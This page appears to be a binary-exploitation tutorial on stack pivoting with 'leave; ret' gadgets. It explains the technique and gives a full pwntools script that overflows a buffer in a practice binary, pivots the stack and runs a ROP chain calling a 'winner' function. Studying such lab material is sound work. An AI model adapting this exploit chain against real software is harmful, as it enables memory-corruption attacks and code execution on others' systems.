Comment on page
leave
Using leave; ret to stack pivot
By calling
leave; ret
twice, as described, this happens:mov rsp, rbp
pop rbp
mov rsp, rbp
pop rbp
By controlling the value popped into RBP, we can control RSP.
As before, but with a difference:
$ ROPgadget --binary vuln | grep 'leave'
0x000000000040117c : leave ; ret
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
'A' * 96,
buffer,
LEAVE_RET
)
pause()
p.sendline(payload)
print(p.recvline())
Essentially, that pops
buffer
into RSP (as described previously).You might be tempted to just chuck the payload into the buffer and boom, RSP points there, but you can't quite - as with the previous approach, there is a
pop
instruction that needs to be accounted for - again, remember leave
ismov rsp, rbp
pop rbp
So once you overwrite RSP, you still need to give a value for the
pop rbp
.payload = flat(
0x0, # account for final "pop rbp"
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer,
LEAVE_RET
)
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer,
LEAVE_RET
)
pause()
p.sendline(payload)
print(p.recvline())
Last modified 2yr ago